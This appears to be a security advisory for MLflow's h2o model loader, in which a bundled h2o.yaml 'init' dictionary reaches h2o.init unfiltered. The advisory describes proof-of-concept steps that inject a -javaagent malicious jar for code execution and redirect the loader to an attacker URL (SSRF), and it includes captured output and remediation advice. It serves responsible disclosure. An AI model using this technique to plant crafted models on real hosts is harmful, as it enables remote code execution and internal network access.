YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
MLflow h2o flavor: attacker-controlled bundled h2o.yaml init dict passed verbatim to h2o.init(**kwargs) β SSRF + RCE (arbitrary JVM args)
Target: mlflow (PyPI) β mlflow/h2o/__init__.py, the h2o model flavor loader
Affected version: mlflow==3.14.0 (current latest release on PyPI at time of writing)
Verified environment: PyPI mlflow==3.14.0 + h2o==3.46.0.11, Python 3.13.12, OpenJDK 25, Linux
Class: Attacker-controlled configuration β dangerous-API kwargs passthrough (CWE-918 SSRF / CWE-94 code injection). No pickle deserialization and no MLFLOW_ALLOW_PICKLE_DESERIALIZATION gate is involved.
Summary
A crafted MLflow model directory with the h2o flavor is loaded via the standard inference
entry point mlflow.pyfunc.load_model(). The h2o flavor loader reads a non-MLmodel config
file that ships inside the model artifact β model.h2o/h2o.yaml β and, when loading as
pyfunc, passes the file's init sub-dictionary verbatim as keyword arguments to
h2o.init(**kwargs).
Because the attacker fully controls that bundled file, they choose the kwargs to h2o.init:
url/ip/portβ the loading process connects to an attacker-chosen H2O REST endpoint = SSRF (blind + partially reflected; the client performs a multi-request handshake against the attacker host).jvm_custom_args/extra_classpathβ arbitrary flags on the spawnedjavacommand line when a local H2O server is started.-javaagent:<attacker-bundled>.jaryields arbitrary code execution in the victim process.
There is no key allowlist, no path containment, and no pickle gate on this path.
Root cause
mlflow/h2o/__init__.py (mlflow 3.14.0):
def _load_model(path, init=False):
import h2o
path = os.path.abspath(path)
with open(os.path.join(path, "h2o.yaml")) as f: # <-- file bundled INSIDE the artifact
params = yaml.safe_load(f.read())
if init:
h2o.init(**(params["init"] if "init" in params else {})) # <-- attacker kwargs verbatim
h2o.no_progress()
model_path = os.path.join(path, params["model_file"])
...
def _load_pyfunc(path):
...
return _H2OModelWrapper(_load_model(path, init=True)) # <-- pyfunc path calls init=True
Call chain for a plain victim action:
mlflow.pyfunc.load_model(untrusted_model)
-> mlflow.h2o._load_pyfunc(path)
-> mlflow.h2o._load_model(path, init=True)
-> h2o.init(**params["init"]) # params["init"] is attacker-controlled
h2o.init's signature confirms the dangerous kwargs are accepted: url, ip, port
(β connect to arbitrary REST endpoint) and jvm_custom_args, extra_classpath
(β arbitrary java launch flags / classpath).
Note the public non-pyfunc loader mlflow.h2o.load_model() calls _load_model(path) with the
default init=False, so it never reaches h2o.init β this is the negative control below.
Why this is distinct from other MLflow flavor findings
- It is not pickle deserialization, so
MLFLOW_ALLOW_PICKLE_DESERIALIZATIONdoes not apply and would not mitigate it. - It is not the pickle-gate gap (a different, separately reported class).
- The dangerous input is a bundled non-MLmodel config file (
model.h2o/h2o.yaml) whoseinitdict is forwarded, unfiltered, as kwargs into a security-sensitive third-party API. - Authentic models emitted by
mlflow.h2o.save_modelnever contain aninitkey (negative baseline), so a key allowlist / removing the passthrough would not break legitimate models.
PoC files
poc_h2o_init_ssrf.pyβ trains a real GLM on a real H2O cluster, saves viamlflow.h2o.save_model, and prints the authentic bundledh2o.yaml(noinitkey = negative baseline).poc_h2o_stage2.pyβ (a) negative control: loads untampered model viamlflow.h2o.load_model(init=False) β attacker endpoint gets 0 hits; (b) target: injectsinit: {url: http://127.0.0.1:PORT}into the bundledh2o.yaml, runsmlflow.pyfunc.load_modelβ victim makes 5 outbound H2O-REST requests to the attacker URL = SSRF.poc_h2o_jvm.pyβ injectsinit.jvm_custom_args: [-D<marker>=1]; captures the spawnedjavacommand line containing the attacker flag.poc_h2o_rce.pyβ bundles a malicious Java agent (agent/evil.jar) inside the model, injectsinit.jvm_custom_args: [-javaagent:.../evil.jar];mlflow.pyfunc.load_modelspawnsjava -javaagent:evil.jar ...; the agentpremainrunsid, producingh2o_work/RCE_PROOF.txt= full RCE. Marker absent before load, present after; non-injected baseline produces no marker.
Captured evidence (verbatim)
--- authentic h2o.yaml (negative baseline) ---
full_file/model_dir/model_file only; authentic h2o.yaml has 'init' key? -> False
== NEGATIVE CONTROL (untampered, mlflow.h2o.load_model, init=False) ==
attacker endpoint hits during control = 0
== SSRF (tampered init.url via mlflow.pyfunc.load_model) ==
injected init kwargs: {'url': 'http://127.0.0.1:35093', 'strict_version_check': False}
attacker endpoint hits after tampered pyfunc load = 5
== JVM command-line injection (init.jvm_custom_args) ==
/usr/bin/java -ea -Xmx512M -DATTACKER_INJECTED_JVM_FLAG_9F3C=1 -jar .../h2o/backend/bin/h2o.jar -ip 127.0.0.1 -web_ip 127.0.0.1 -baseport 54399 ...
jvm_custom_args injection reached java command line: True
== FULL RCE (init.jvm_custom_args: -javaagent:bundled evil.jar) ==
marker exists BEFORE load: False
marker exists AFTER load: True
--- RCE_PROOF.txt (executed by injected Java agent) ---
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom)...
PWNED-BY-H2O-INIT-JVMARG
*** RCE CONFIRMED: attacker-controlled h2o.yaml -> h2o.init(jvm_custom_args=...) -> arbitrary code execution ***
Impact
Loading an untrusted h2o-flavored MLflow model β a routine action against models pulled from a
registry, hub, or shared storage β allows the model author to:
- Force the loading host to connect to an attacker-chosen network endpoint (SSRF; usable to
reach internal services / cloud metadata via
url/ip/port). - Inject arbitrary flags into the spawned JVM (
jvm_custom_args/extra_classpath), including-javaagent:with an attacker-bundled jar, giving arbitrary code execution as the loader process.
No environment variable, opt-in, or pickle involvement is required.
Suggested remediation
- Do not forward the bundled
h2o.yamlinitdict toh2o.init(**kwargs). Authentic models never set it. - If configurable H2O connection settings are desired, take them from a trusted, caller-supplied
argument (e.g. an explicit
settings=param onload_model), not from a file inside the untrusted artifact, and restrict to a safe allowlist that excludesjvm_custom_args,extra_classpath,url,ip,port.
Dedup note
Distinct from MLflow pickle-deserialization CVEs (e.g. the sklearn/pytorch/statsmodels pickle
classes) and from the pickle-gate-gap class: this path involves no pickle and is not gated by
MLFLOW_ALLOW_PICKLE_DESERIALIZATION. The primitive is an attacker-controlled bundled config
file (model.h2o/h2o.yaml) whose init dict is passed verbatim as kwargs to a dangerous
third-party API (h2o.init). No prior public CVE was found for the MLflow h2o flavor init
kwargs passthrough.